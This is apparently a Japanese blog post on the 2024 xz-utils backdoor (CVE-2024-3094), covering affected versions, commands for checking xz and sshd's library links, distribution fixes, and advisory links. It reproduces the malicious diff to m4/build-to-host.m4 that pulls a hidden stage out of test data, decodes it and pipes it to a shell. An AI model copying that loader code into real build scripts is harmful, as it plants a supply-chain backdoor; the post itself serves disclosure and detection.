🚪

xz-utilsのtarballに不正なコードが混入されていた件(backdoor)

2024/03/30に公開

xz-utilsのliblzmaに不正なコードが混入されていた件

詳細は、下記サイトへ。

The Tukaani Project(xz-utils)公式の発表

下記gistの【日本語訳】FAQ on the xz-utils backdoor

https://www.tenable.com/blog/frequently-asked-questions-cve-2024-3094-supply-chain-backdoor-in-xz-utils

https://www.openwall.com/lists/oss-security/2024/03/29/4
https://security.archlinux.org/ASA-202403-1
https://security.archlinux.org/CVE-2024-3094
https://security-tracker.debian.org/tracker/CVE-2024-3094
https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

影響を受けるバージョン

使用しているxz-utilsのバージョン確認方法[1]
安全じゃないかもしれないバイナリに対しては、別コマンドでそのバイナリを確認するという手順が推奨されます。
stringsでバイナリ内の文字列を取り出して、その中からバージョンを取り出す手順です。

下記手順は、複数のバージョンを導入している場合を考慮しているそうです。

for xz_p in $(LC_ALL=C type -a xz | awk '{print $NF}' | uniq); do strings "$xz_p" | grep "xz (XZ Utils)" || echo "No match found for $xz_p"; done

デフォルトで使用してるxzのバージョンは、より単純に下記で確認できると思います。

strings $(which xz)|grep "xz (XZ Utils)"

パッケージマネージャーなどでバージョン情報を確認するのも良いかと思います。
ただし、不正ログインやリモートでの実行を許してしまっている場合、バージョン偽装もありえます。
お使いのディストリビューションが該当するか公式のパッケージ情報などを確認しましょう。

https://qiita.com/Brutus/items/9752bb88f6640b79e9df
https://www.darkreading.com/vulnerabilities-threats/are-you-affected-by-the-backdoor-in-xz-utils
バージョン5.6.0,5.6.1は要チェック。
5.4.6にダウングレードするか、5.6.1に修正を加えたパッケージへ更新すること。
バージョンが5.6.1であっても、githubで公開されていたtarballではなく、The Tukaani Projectsのレポジトリのソースを利用していた場合には問題はない模様です。ただしテスト用のファイルに不正なコードの種が埋め込まれていることには変わりありません。)

Arch,Manjaroの場合には、5.6.1-2で対応済み。
https://gitlab.archlinux.org/archlinux/packaging/packages/xz/-/commit/7c652d0757eb139de80ae38ff02a9cf235629739
またpacman-staticなど、xzをスタティックリンクしているパッケージも更新が必要な場合があります。
Manjaroはstableではpacman-static(6.0.2-16)はxzのバージョンが5.4.5なので、影響を受けないと思われます。
testing,unstableでは修正されたパッケージ(6.1.0-2)がアップされているようです。
Archの場合には、pacman-staticはAURで提供されているパッケージですが6.1.0-6で修正されています。手元の環境でリビルドすることで、影響を受けなくできるでしょう。
pacman-static(libalpm.a)との依存関係があるparu-staticもpacman-staticの更新後にリビルドすることで、影響をなくせるでしょう。

Debian,Ubuntuはunstableのレポジトリを利用している方はご注意ください。

特にsshdがliblzmaとリンクされているバージョンの場合には要チェック

openssh は liblzma を直接使用していません。しかしdebian や他のいくつかのディストリビューションは、systemd 通知をサポートするために openssh にパッチを当てており、libsystemdは lzma に依存しています。
https://archlinux.org/news/the-xz-package-has-been-backdoored/
Arch,Manjaroのsystemdもlzmaに依存していますが、openssh(sshd)はliblzma,libsystemdに依存していません。

チェック用のスクリプトについて

openwallに投稿された添付のスクリプト[2]や、いくつかチェック用のスクリプトが公開されています。
そのスクリプトに対しては、いくつかの提言がされています。不正なバイナリには、lddコマンドさえも使わないほうがいいといったものです。
それが最新のlddコマンドもそうなのか、私個人は、よくわかっていませんが、それらを考慮されたと思われるのが、下記手順です。

LD_TRACE_LOADED_OBJECTS=1 /lib64/ld-linux-x86-64.so.2 /usr/bin/sshd

その提言を受けて上記の方法をとっているチェック用のスクリプト[3]を元に、若干修正したものをgistにあげました。
64bits環境では、下記のチェック用のスクリプトが使えるとは思います。
ただチェックに漏れがでてくる可能性はあります。(ビルド環境によって、差はあると思いますから)
仮にもしも不正ログインを許していたら、該当バイナリのバージョン偽装も含めて、いろんな可能性が起こりうるので、素直に環境を構築しなおすのが、よろしいかとは思います。

補足

xz-utils公式のレポジトリには、ビルドスクリプトの改竄コードは混入しておらず、そちらからtarballを再生成するなどで問題解決が行われています。ただし不正コードの種となるものが、テスト用のデータに埋め込まれており、それは公式のgitレポジトリにも残っていますので、その点は注意が必要でしょう。
二人目のメンテナーが、テスト用のバイナリデータに不正コードの種を用意した上で、ビルドスクリプトにその種を利用する調整を加えたtarballをgithubでリリースしていた。ビルドスクリプトの変更部分は公式レポジトリには記録はありません。
難読化されていたことが話題にあげられていますが、今回とは違った形でもテスト用のバイナリデータ(画像や動画、音声データ)などに、スクリプトを埋め込むことは可能ではあります。その場合の確認は難しく、困難ではあるでしょう。

小さな画像なら不必要に大きなサイズになっているなどで怪しむことはできるでしょうが、、、。
例えば、日替わりで背景画像を切り替えるプログラムがあったとします。ネット経由で、毎日、いろんな画像を取得して、背景画像を置き換えるようなプログラムです。それらの初期画像として添付されている画像や、日々ダウンロードされる画像(音声や映像も同じです)に、何らかのスクリプトやプログラムが埋め込まれていない可能性は残念ながら否定できないし、検出も困難だと思われます。そのデータを信頼するか、しないか、ただそれだけす。
もちろん埋め込まれている可能性があるだけで、それらを取り出し、実行させることは簡単ではないでしょうが、可能性は残ります。
レポジトリへのバイナリデータの追加は、慎重にならざるを得ないでしょう。

今回はbad-3-corrupt_lzma2.xz,good-large_compressed.lzmaといったテスト用のデータに、不正コードの種が埋め込まれているようです。

該当コミット

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
https://git.tukaani.org/?p=xz.git;a=commitdiff;h=6e636819e8f070330d835fce46289a3ff72a7b89

githubで公開されていたtarballには不正なコードを利用するためのコードが混入していたためでしょう、現在、運営によって閉じられています。

This repository has been disabled.

Access to this repository has been disabled by GitHub Staff due to a violation of GitHub's terms of service. If you are the owner of the repository, you may reach out to GitHub Support for more information. 

tarballのbuildスクリプトへ加えられていた変更部分。

(上記のgistにも記載されています。)
xz-5.6.0,5.6.1のtarballのconfigureにも手が加えられていましたが、その元が下記の手が加えられた状態のm4/build-to-host.m4です。この改竄ファイルがある状態で./autogen.shでconfigureを生成すると、問題のあるconfigureスクリプトができあがります。
xz-5.4.6のtarballにも、gitレポジトリのv5.6.1,v5.6.0にもm4/build-to-host.m4は存在しませんでした。

diff a/m4/build-to-host.m4 b/m4/build-to-host.m4
--- a/m4/build-to-host.m4
+++ b/m4/build-to-host.m4
@@ -1,5 +1,5 @@
-# build-to-host.m4 serial 3
-dnl Copyright (C) 2023 Free Software Foundation, Inc.
+# build-to-host.m4 serial 30
+dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
 dnl with or without modifications, as long as this notice is preserved.
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

その他、日本語の解説記事

https://piyolog.hatenadiary.jp/entry/2024/04/01/035321
https://qiita.com/log0417/items/7dddf1669d49f3e298dc

Ubuntuの対応状況、その後

https://kledgeb.blogspot.com/2024/04/ubuntu-2404-23-xzliblzmaubuntucve-2024.html

その他、解説記事

https://research.swtch.com/xz-script

脚注
  1. https://twitter.com/kostastsale/status/1773890846250926445 ↩︎

  2. https://www.openwall.com/lists/oss-security/2024/03/29/4 ↩︎

  3. https://gist.github.com/amaddio/d95391c48562f6f40235ab5e839bc1ee ↩︎

Discussion